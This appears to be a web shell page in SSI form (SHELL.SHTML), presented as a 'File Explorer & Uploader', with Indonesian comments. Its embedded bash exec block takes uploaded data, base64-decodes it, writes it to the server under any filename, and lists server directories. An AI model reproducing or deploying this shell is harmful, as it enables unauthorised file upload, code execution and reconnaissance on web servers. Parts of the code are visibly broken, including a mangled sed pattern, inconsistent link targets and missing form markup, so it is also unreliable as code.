<meta charset="UTF-8">
File Explorer & Uploader <title>File Explorer & Uploader</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; }
a { text-decoration: none; color: blue; }
a:hover { text-decoration: underline; }
form { margin-bottom: 20px; }
</style>
File Explorer & Uploader
<!-- Form uploader menggunakan metode POST dan enctype URL-encoded -->
<script>
// Gunakan FileReader untuk mengkonversi file ke base64 lalu simpan di field tersembunyi.
function processFileUpload(){
var fileInput = document.getElementById('fileInput');
var file = fileInput.files[0];
if(!file) return false;
var reader = new FileReader();
reader.onload = function(e) {
// e.target.result berbentuk "data:<mime>;base64,<data>"
var dataUrl = e.target.result;
var base64 = dataUrl.split(',')[1];
// Karena form POST akan mengirimkan data URL-encoded, kita encode lagi
document.getElementById('filedataInput').value = encodeURIComponent(base64);
// Jika user belum mengisi nama file, gunakan nama asli (di-encode)
var fnameInput = document.getElementById('filenameInput');
if(!fnameInput.value){
fnameInput.value = encodeURIComponent(file.name);
}
document.getElementById('uploadForm').submit();
};
reader.readAsDataURL(file);
return false; // tunda submit sampai file selesai dibaca
}
document.getElementById('uploadForm').onsubmit = processFileUpload;
</script>
<!-- SSI exec: Gabungan proses upload dan tampilan file explorer menggunakan exec cgi.
Catatan: Saat request POST, STDIN akan berisi data form.
Jika request GET, parameter didapat dari QUERY_STRING. -->
<!--#exec cgi="bash -c '
# Tentukan variabel data: jika POST, baca dari STDIN; jika tidak, gunakan QUERY_STRING
if [ \"$REQUEST_METHOD\" = \"POST\" ]; then
data=\$(cat)
else
data=\"$QUERY_STRING\"
fi
# Fungsi sederhana untuk mengambil parameter dari data URL-encoded
get_param() {
echo \"\$data\" | sed -n \"s/.*\^\\|[?&]\\$1=\[^&]*\.*/\\2/p\"
}
upload=\$(get_param upload)
filename=\$(get_param filename)
filedata=\$(get_param filedata)
dir=\$(get_param dir)
[ -z \"\$dir\" ] && dir=\".\"
# Jika upload=1 dan filedata ada, proses upload
if [ \"\$upload\" = \"1\" ] && [ -n \"\$filedata\" ]; then
filename_dec=\$(python3 -c \"import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))\" \"\$filename\")
[ -z \"\$filename_dec\" ] && filename_dec=\$(date +%s)
upload_dir=upload
[ ! -d \"\$upload_dir\" ] && mkdir \"\$upload_dir\"
# Dekode filedata: pertama URL-decode, lalu base64-decode, dan simpan hasilnya
decoded_base64=\$(python3 -c \"import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))\" <<< \"\$filedata\")
echo \"\$decoded_base64\" | python3 -c \"import sys,base64; data=base64.b64decode(sys.stdin.read()); sys.stdout.buffer.write(data)\" > \"\$upload_dir/\$filename_dec\"
echo \"<p>Uploaded: \$upload_dir/\$filename_dec</p>\"
fi
# Tampilkan file explorer.
# Tentukan folder dasar (base) sebagai folder tempat file SHELL.SHTML berada
base=\$(pwd)
abs_base=\$(realpath \"\$base\")
current=\$(realpath \"\$dir\")
echo \"Current Directory: \$current
\"
echo \"<ul>\"
# Tampilkan link parent directory hanya jika parent berada di dalam base
parent=\$(dirname \"\$dir\")
abs_parent=\$(realpath \"\$parent\")
if [ \"\$abs_parent\" = \"\$abs_base\" ] || [[ \"\$abs_parent\" == \"\$abs_base\"/* ]]; then
parent_enc=\$(python3 -c \"import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))\" \"\$parent\")
echo \"<li><a href=\\\"SHELL.SHTML?dir=\$parent_enc\\\">.. (Parent Directory)</a></li>\"
fi
for entry in \"\$dir\"/*; do
[ ! -e \"\$entry\" ] && continue
if [ -d \"\$entry\" ]; then
name=\$(basename \"\$entry\")
entry_enc=\$(python3 -c \"import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))\" \"\$entry\")
echo \"<li><a href=\\\"a.SHtmL?dir=\$entry_enc\\\">\$name/</a></li>\"
elif [ -f \"\$entry\" ]; then
name=\$(basename \"\$entry\")
echo \"<li>\$name</li>\"
fi
done
echo \"</ul>\"
'" -->